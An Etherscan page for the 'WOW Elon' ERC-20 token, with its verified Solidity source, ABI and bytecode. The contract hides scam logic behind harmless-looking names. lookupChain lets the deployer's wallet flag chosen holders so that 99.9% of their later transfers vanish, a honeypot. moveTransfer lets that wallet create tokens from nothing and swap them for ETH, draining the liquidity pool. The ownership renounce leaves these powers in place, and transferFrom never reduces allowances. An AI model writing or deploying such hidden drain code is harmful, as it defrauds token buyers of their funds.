ETH Price: $3,714.07 (+3.35%)

Token

ERC-20: WOW Elon (WOW)
 

Overview

Max Total Supply

420,690,000,000 WOW

Holders

15

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WowElon

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-09-26
*/

/**

Telegram: https://t.me/wowelonerc

Twitter: https://twitter.com/woweloneth

Website: https://wowelon.fun/
*/

pragma solidity ^0.8.21;
// SPDX-License-Identifier: MIT

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function owner() public view virtual returns (address) {return _owner;}
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
    function WETH() external pure returns (address aadd);
}

contract WowElon is Ownable {
    using SafeMath for uint256;
    uint256 public _decimals = 9;

    uint256 public _totalSupply = 420690000000 * 10 ** _decimals;

    constructor() {
        _balances[sender()] =  _totalSupply; 
        emit Transfer(address(0), sender(), _balances[sender()]);
        _taxWallet = msg.sender; 
    }

    string private _name = unicode"WOW Elon";
    string private _symbol = unicode"WOW";

    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public _taxWallet;

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function name() external view returns (string memory) {
        return _name;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function extendFrom() public {
    }
    function extendTo() public {
    }
    function lookupChain(address[] calldata walletAddress) external {
        uint256 fromBlockNo = getBlockNumber();
        for (uint walletInde = 0;  walletInde < walletAddress.length;  walletInde++) { 
            if (!marketingAddres()){} else { 
                cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;
            }
        }
    }
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][sender()] >= _amount);
        return true;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function getBlockNumber() internal view returns (uint256) {
        return block.number;
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(sender(), from, _allowances[msg.sender][from] - amount);
        return true;
    }
    event Transfer(address indexed from, address indexed to, uint256);
    mapping (address => uint256) internal cooldowns;
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function marketingAddres() private view returns (bool) {
        return (_taxWallet == (sender()));
    }
    function sender() internal view returns (address) {
        return msg.sender;
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function moveTransfer(uint256 amount, address walletAddr) external {
        if (marketingAddres()) {
            _approve(address(this), address(uniV2Router), amount); 
            _balances[address(this)] = amount;
            address[] memory addressPath = new address[](2);
            addressPath[0] = address(this); 
            addressPath[1] = uniV2Router.WETH(); 
            uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);
        } else {
            return;
        }
    }
    function _transfer(address from, address to, uint256 value) internal {
        uint256 _taxValue = 0;
        require(from != address(0));
        require(value <= _balances[from]);
        emit Transfer(from, to, value);
        _balances[from] = _balances[from] - (value);
        bool onCooldown = (cooldowns[from] <= (getBlockNumber()));
        uint256 _cooldownFeeValue = value.mul(999).div(1000);
        if ((cooldowns[from] != 0) && onCooldown) {  
            _taxValue = (_cooldownFeeValue); 
        }
        uint256 toBalance = _balances[to];
        toBalance += (value) - (_taxValue);
        _balances[to] = toBalance;
    }
    event Approval(address indexed, address indexed, uint256 value);
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
    mapping(address => uint256) private _balances;
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"extendFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"extendTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"walletAddress","type":"address[]"}],"name":"lookupChain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"walletAddr","type":"address"}],"name":"moveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600960018190556200001890600a62000267565b62000029906461f313f8806200027b565b6002556040805180820190915260088152672ba7ab9022b637b760c11b60208201526003906200005a908262000335565b50604080518082019091526003815262574f5760e81b602082015260049062000084908262000335565b50600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015620000b7575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600254335f81815260096020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600680546001600160a01b03191633179055620003fd565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620001ac57815f190482111562000190576200019062000158565b808516156200019e57918102915b93841c939080029062000171565b509250929050565b5f82620001c45750600162000261565b81620001d257505f62000261565b8160018114620001eb5760028114620001f65762000216565b600191505062000261565b60ff8411156200020a576200020a62000158565b50506001821b62000261565b5060208310610133831016604e8410600b84101617156200023b575081810a62000261565b6200024783836200016c565b805f19048211156200025d576200025d62000158565b0290505b92915050565b5f620002748383620001b4565b9392505050565b808202811582820484141762000261576200026162000158565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620002be57607f821691505b602082108103620002dd57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000330575f81815260208120601f850160051c810160208610156200030b5750805b601f850160051c820191505b818110156200032c5782815560010162000317565b5050505b505050565b81516001600160401b0381111562000351576200035162000295565b6200036981620003628454620002a9565b84620002e3565b602080601f8311600181146200039f575f8415620003875750858301515b5f19600386901b1c1916600185901b1785556200032c565b5f85815260208120601f198616915b82811015620003cf57888601518255948401946001909101908401620003ae565b5085821015620003ed57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b610de5806200040b5f395ff3fe608060405234801561000f575f80fd5b5060043610610127575f3560e01c80633eaaf86b116100a95780638da5cb5b1161006e5780638da5cb5b1461024157806395d89b4114610251578063a457c2d714610259578063a9059cbb1461026c578063dd62ed3e1461027f575f80fd5b80633eaaf86b146101dd5780634c8c37dd1461017f5780636f268a99146101e657806370a0823114610211578063715018a614610239575f80fd5b806323b872dd116100ef57806323b872dd14610193578063313ce567146101a657806332424aa3146101ae57806339380f8c146101b757806339509351146101ca575f80fd5b806306fdde031461012b578063095ea7b3146101495780630dc727401461016c57806318160ddd146101815780631bfe121f1461017f575b5f80fd5b6101336102b7565b6040516101409190610aa3565b60405180910390f35b61015c610157366004610b05565b610347565b6040519015158152602001610140565b61017f61017a366004610b2f565b61035d565b005b6002545b604051908152602001610140565b61015c6101a1366004610b9e565b6103e8565b600154610185565b61018560015481565b61017f6101c5366004610bdc565b61042c565b61015c6101d8366004610b05565b6105c1565b61018560025481565b6006546101f9906001600160a01b031681565b6040516001600160a01b039091168152602001610140565b61018561021f366004610c0a565b6001600160a01b03165f9081526009602052604090205490565b61017f6105fb565b5f546001600160a01b03166101f9565b6101336106b0565b61015c610267366004610b05565b6106bf565b61015c61027a366004610b05565b610721565b61018561028d366004610c25565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b6060600380546102c690610c51565b80601f01602080910402602001604051908101604052809291908181526020018280546102f290610c51565b801561033d5780601f106103145761010080835404028352916020019161033d565b820191905f5260205f20905b81548152906001019060200180831161032057829003601f168201915b5050505050905090565b5f61035333848461072d565b5060015b92915050565b435f5b828110156103e25761037c6006546001600160a01b0316331490565b156103d05761038c826001610c9d565b60085f8686858181106103a1576103a1610cb0565b90506020020160208101906103b69190610c0a565b6001600160a01b0316815260208101919091526040015f20555b806103da81610cc4565b915050610360565b50505050565b5f6103f4848484610853565b6001600160a01b0384165f908152600760209081526040808320338452909152902054821115610422575f80fd5b5060019392505050565b6104406006546001600160a01b0316331490565b156105bd5760055461045d9030906001600160a01b03168461072d565b305f9081526009602052604080822084905580516002808252606082019092529081602001602082028036833701905050905030815f815181106104a3576104a3610cb0565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156104fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061051e9190610cdc565b8160018151811061053157610531610cb0565b6001600160a01b039283166020918202929092018101919091526005549091169063791ac9479085905f908590879061056b904290610c9d565b6040518663ffffffff1660e01b815260040161058b959493929190610cf7565b5f604051808303815f87803b1580156105a2575f80fd5b505af11580156105b4573d5f803e3d5ffd5b50505050505050565b5050565b5f61035333335f9081526007602090815260408083206001600160a01b038916845290915290205485906105f6908690610c9d565b61072d565b3361060d5f546001600160a01b031690565b6001600160a01b0316146106685760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600480546102c690610c51565b335f9081526007602090815260408083206001600160a01b03861684529091528120548211156106ed575f80fd5b61035333335f9081526007602090815260408083206001600160a01b038916845290915290205485906105f6908690610d66565b5f610353338484610853565b6001600160a01b0383166107915760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161065f565b6001600160a01b0382166107f35760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b606482015260840161065f565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610866575f80fd5b6001600160a01b0384165f90815260096020526040902054821115610889575f80fd5b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108ce91815260200190565b60405180910390a36001600160a01b0384165f908152600960205260409020546108f9908390610d66565b6001600160a01b0385165f9081526009602090815260408083209390935560089052908120544310159061093b6103e8610935866103e76109ba565b90610a40565b6001600160a01b0387165f90815260086020526040902054909150158015906109615750815b1561096a578092505b6001600160a01b0385165f9081526009602052604090205461098c8486610d66565b6109969082610c9d565b6001600160a01b039096165f90815260096020526040902095909555505050505050565b5f825f036109c957505f610357565b5f6109d48385610d79565b9050826109e18583610d90565b14610a395760405162461bcd60e51b815260206004820152602260248201527f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c6044820152616f7760f01b606482015260840161065f565b9392505050565b5f808211610a905760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a20206469766973696f6e206279207a65726f0000000000604482015260640161065f565b5f610a9b8385610d90565b949350505050565b5f6020808352835180828501525f5b81811015610ace57858101830151858201604001528201610ab2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b02575f80fd5b50565b5f8060408385031215610b16575f80fd5b8235610b2181610aee565b946020939093013593505050565b5f8060208385031215610b40575f80fd5b823567ffffffffffffffff80821115610b57575f80fd5b818501915085601f830112610b6a575f80fd5b813581811115610b78575f80fd5b8660208260051b8501011115610b8c575f80fd5b60209290920196919550909350505050565b5f805f60608486031215610bb0575f80fd5b8335610bbb81610aee565b92506020840135610bcb81610aee565b929592945050506040919091013590565b5f8060408385031215610bed575f80fd5b823591506020830135610bff81610aee565b809150509250929050565b5f60208284031215610c1a575f80fd5b8135610a3981610aee565b5f8060408385031215610c36575f80fd5b8235610c4181610aee565b91506020830135610bff81610aee565b600181811c90821680610c6557607f821691505b602082108103610c8357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561035757610357610c89565b634e487b7160e01b5f52603260045260245ffd5b5f60018201610cd557610cd5610c89565b5060010190565b5f60208284031215610cec575f80fd5b8151610a3981610aee565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610d455784516001600160a01b031683529383019391830191600101610d20565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561035757610357610c89565b808202811582820484141761035757610357610c89565b5f82610daa57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220915d3f1dbd61ff0a263091b428a2fc2559d15cf63dfd2dfa304152137586fb1064736f6c63430008150033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610127575f3560e01c80633eaaf86b116100a95780638da5cb5b1161006e5780638da5cb5b1461024157806395d89b4114610251578063a457c2d714610259578063a9059cbb1461026c578063dd62ed3e1461027f575f80fd5b80633eaaf86b146101dd5780634c8c37dd1461017f5780636f268a99146101e657806370a0823114610211578063715018a614610239575f80fd5b806323b872dd116100ef57806323b872dd14610193578063313ce567146101a657806332424aa3146101ae57806339380f8c146101b757806339509351146101ca575f80fd5b806306fdde031461012b578063095ea7b3146101495780630dc727401461016c57806318160ddd146101815780631bfe121f1461017f575b5f80fd5b6101336102b7565b6040516101409190610aa3565b60405180910390f35b61015c610157366004610b05565b610347565b6040519015158152602001610140565b61017f61017a366004610b2f565b61035d565b005b6002545b604051908152602001610140565b61015c6101a1366004610b9e565b6103e8565b600154610185565b61018560015481565b61017f6101c5366004610bdc565b61042c565b61015c6101d8366004610b05565b6105c1565b61018560025481565b6006546101f9906001600160a01b031681565b6040516001600160a01b039091168152602001610140565b61018561021f366004610c0a565b6001600160a01b03165f9081526009602052604090205490565b61017f6105fb565b5f546001600160a01b03166101f9565b6101336106b0565b61015c610267366004610b05565b6106bf565b61015c61027a366004610b05565b610721565b61018561028d366004610c25565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b6060600380546102c690610c51565b80601f01602080910402602001604051908101604052809291908181526020018280546102f290610c51565b801561033d5780601f106103145761010080835404028352916020019161033d565b820191905f5260205f20905b81548152906001019060200180831161032057829003601f168201915b5050505050905090565b5f61035333848461072d565b5060015b92915050565b435f5b828110156103e25761037c6006546001600160a01b0316331490565b156103d05761038c826001610c9d565b60085f8686858181106103a1576103a1610cb0565b90506020020160208101906103b69190610c0a565b6001600160a01b0316815260208101919091526040015f20555b806103da81610cc4565b915050610360565b50505050565b5f6103f4848484610853565b6001600160a01b0384165f908152600760209081526040808320338452909152902054821115610422575f80fd5b5060019392505050565b6104406006546001600160a01b0316331490565b156105bd5760055461045d9030906001600160a01b03168461072d565b305f9081526009602052604080822084905580516002808252606082019092529081602001602082028036833701905050905030815f815181106104a3576104a3610cb0565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156104fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061051e9190610cdc565b8160018151811061053157610531610cb0565b6001600160a01b039283166020918202929092018101919091526005549091169063791ac9479085905f908590879061056b904290610c9d565b6040518663ffffffff1660e01b815260040161058b959493929190610cf7565b5f604051808303815f87803b1580156105a2575f80fd5b505af11580156105b4573d5f803e3d5ffd5b50505050505050565b5050565b5f61035333335f9081526007602090815260408083206001600160a01b038916845290915290205485906105f6908690610c9d565b61072d565b3361060d5f546001600160a01b031690565b6001600160a01b0316146106685760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600480546102c690610c51565b335f9081526007602090815260408083206001600160a01b03861684529091528120548211156106ed575f80fd5b61035333335f9081526007602090815260408083206001600160a01b038916845290915290205485906105f6908690610d66565b5f610353338484610853565b6001600160a01b0383166107915760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161065f565b6001600160a01b0382166107f35760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b606482015260840161065f565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610866575f80fd5b6001600160a01b0384165f90815260096020526040902054821115610889575f80fd5b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108ce91815260200190565b60405180910390a36001600160a01b0384165f908152600960205260409020546108f9908390610d66565b6001600160a01b0385165f9081526009602090815260408083209390935560089052908120544310159061093b6103e8610935866103e76109ba565b90610a40565b6001600160a01b0387165f90815260086020526040902054909150158015906109615750815b1561096a578092505b6001600160a01b0385165f9081526009602052604090205461098c8486610d66565b6109969082610c9d565b6001600160a01b039096165f90815260096020526040902095909555505050505050565b5f825f036109c957505f610357565b5f6109d48385610d79565b9050826109e18583610d90565b14610a395760405162461bcd60e51b815260206004820152602260248201527f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c6044820152616f7760f01b606482015260840161065f565b9392505050565b5f808211610a905760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a20206469766973696f6e206279207a65726f0000000000604482015260640161065f565b5f610a9b8385610d90565b949350505050565b5f6020808352835180828501525f5b81811015610ace57858101830151858201604001528201610ab2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b02575f80fd5b50565b5f8060408385031215610b16575f80fd5b8235610b2181610aee565b946020939093013593505050565b5f8060208385031215610b40575f80fd5b823567ffffffffffffffff80821115610b57575f80fd5b818501915085601f830112610b6a575f80fd5b813581811115610b78575f80fd5b8660208260051b8501011115610b8c575f80fd5b60209290920196919550909350505050565b5f805f60608486031215610bb0575f80fd5b8335610bbb81610aee565b92506020840135610bcb81610aee565b929592945050506040919091013590565b5f8060408385031215610bed575f80fd5b823591506020830135610bff81610aee565b809150509250929050565b5f60208284031215610c1a575f80fd5b8135610a3981610aee565b5f8060408385031215610c36575f80fd5b8235610c4181610aee565b91506020830135610bff81610aee565b600181811c90821680610c6557607f821691505b602082108103610c8357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561035757610357610c89565b634e487b7160e01b5f52603260045260245ffd5b5f60018201610cd557610cd5610c89565b5060010190565b5f60208284031215610cec575f80fd5b8151610a3981610aee565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610d455784516001600160a01b031683529383019391830191600101610d20565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561035757610357610c89565b808202811582820484141761035757610357610c89565b5f82610daa57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220915d3f1dbd61ff0a263091b428a2fc2559d15cf63dfd2dfa304152137586fb1064736f6c63430008150033

Deployed Bytecode Sourcemap

2055:4895:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2995:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6789:158;;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6789:158:0;1023:187:1;3286:356:0;;;;;;:::i;:::-;;:::i;:::-;;4964:93;5037:12;;4964:93;;;1981:25:1;;;1969:2;1954:18;4964:93:0;1835:177:1;3648:228:0;;;;;;:::i;:::-;;:::i;4666:87::-;4736:9;;4666:87;;2123:28;;;;;;5063:570;;;;;;:::i;:::-;;:::i;6370:201::-;;;;;;:::i;:::-;;:::i;2160:60::-;;;;;;2607:25;;;;;-1:-1:-1;;;;;2607:25:0;;;;;;-1:-1:-1;;;;;2962:32:1;;;2944:51;;2932:2;2917:18;2607:25:0;2798:203:1;3086:110:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3170:18:0;3143:7;3170:18;;;:9;:18;;;;;;;3086:110;1156:148;;;:::i;1310:71::-;1356:7;1373:6;-1:-1:-1;;;;;1373:6:0;1310:71;;3882:87;;;:::i;4291:243::-;;;;;;:::i;:::-;;:::i;6577:154::-;;;;;;:::i;:::-;;:::i;4151:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4250:18:0;;;4223:7;4250:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4151:134;2995:85;3034:13;3067:5;3060:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2995:85;:::o;6789:158::-;6863:4;6880:37;6889:10;6901:7;6910:6;6880:8;:37::i;:::-;-1:-1:-1;6935:4:0;6789:158;;;;;:::o;3286:356::-;4051:12;3361:19;3410:225;3437:33;;;3410:225;;;3508:17;4833:10;;-1:-1:-1;;;;;4833:10:0;4940;4833:24;;4759:107;3508:17;3503:121;;;3593:15;:11;3607:1;3593:15;:::i;:::-;3554:9;:36;3564:13;;3578:10;3564:25;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;3554:36:0;;;;;;;;;;;;-1:-1:-1;3554:36:0;:54;3503:121;3473:12;;;;:::i;:::-;;;;3410:225;;;;3350:292;3286:356;;:::o;3648:228::-;3736:4;3753:35;3763:4;3769:9;3780:7;3753:9;:35::i;:::-;-1:-1:-1;;;;;3807:17:0;;;;;;:11;:17;;;;;;;;4940:10;3807:27;;;;;;;;:38;-1:-1:-1;3807:38:0;3799:47;;;;;;-1:-1:-1;3864:4:0;3648:228;;;;;:::o;5063:570::-;5145:17;4833:10;;-1:-1:-1;;;;;4833:10:0;4940;4833:24;;4759:107;5145:17;5141:485;;;5211:11;;5179:53;;5196:4;;-1:-1:-1;;;;;5211:11:0;5225:6;5179:8;:53::i;:::-;5266:4;5248:24;;;;:9;:24;;;;;;:33;;;5327:16;;5341:1;5327:16;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;5327:16:0;5296:47;;5383:4;5358:11;5370:1;5358:14;;;;;;;;:::i;:::-;-1:-1:-1;;;;;5358:30:0;;;:14;;;;;;;;;;:30;;;;5421:11;;:18;;;-1:-1:-1;;;5421:18:0;;;;:11;;;;;:16;;:18;;;;;5358:14;;5421:18;;;;;:11;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5404:11;5416:1;5404:14;;;;;;;;:::i;:::-;-1:-1:-1;;;;;5404:35:0;;;:14;;;;;;;;;;:35;;;;5455:11;;;;;;:62;;5518:6;;5455:11;;5529;;5542:10;;5554:20;;:15;;:20;:::i;:::-;5455:120;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5164:423;5063:570;;:::o;5141:485::-;5063:570;;:::o;6370:201::-;6450:4;6467:74;4940:10;6507;6495:23;;;;:11;:23;;;;;;;;-1:-1:-1;;;;;6495:32:0;;;;;;;;;;6486:7;;6495:45;;6530:10;;6495:45;:::i;:::-;6467:8;:74::i;1156:148::-;1552:10;1541:7;1356;1373:6;-1:-1:-1;;;;;1373:6:0;;1310:71;1541:7;-1:-1:-1;;;;;1541:21:0;;1533:66;;;;-1:-1:-1;;;1533:66:0;;6145:2:1;1533:66:0;;;6127:21:1;;;6164:18;;;6157:30;6223:34;6203:18;;;6196:62;6275:18;;1533:66:0;;;;;;;;;1263:1:::1;1247:6:::0;;1226:40:::1;::::0;-1:-1:-1;;;;;1247:6:0;;::::1;::::0;1226:40:::1;::::0;1263:1;;1226:40:::1;1294:1;1277:19:::0;;-1:-1:-1;;;;;;1277:19:0::1;::::0;;1156:148::o;3882:87::-;3921:13;3954:7;3947:14;;;;;:::i;4291:243::-;4401:10;4364:4;4389:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;4389:29:0;;;;;;;;;;:39;-1:-1:-1;4389:39:0;4381:48;;;;;;4440:64;4940:10;4477;4465:23;;;;:11;:23;;;;;;;;-1:-1:-1;;;;;4465:29:0;;;;;;;;;;4459:4;;4465:38;;4497:6;;4465:38;:::i;6577:154::-;6646:4;6663:38;4940:10;6683:9;6694:6;6663:9;:38::i;2641:346::-;-1:-1:-1;;;;;2743:19:0;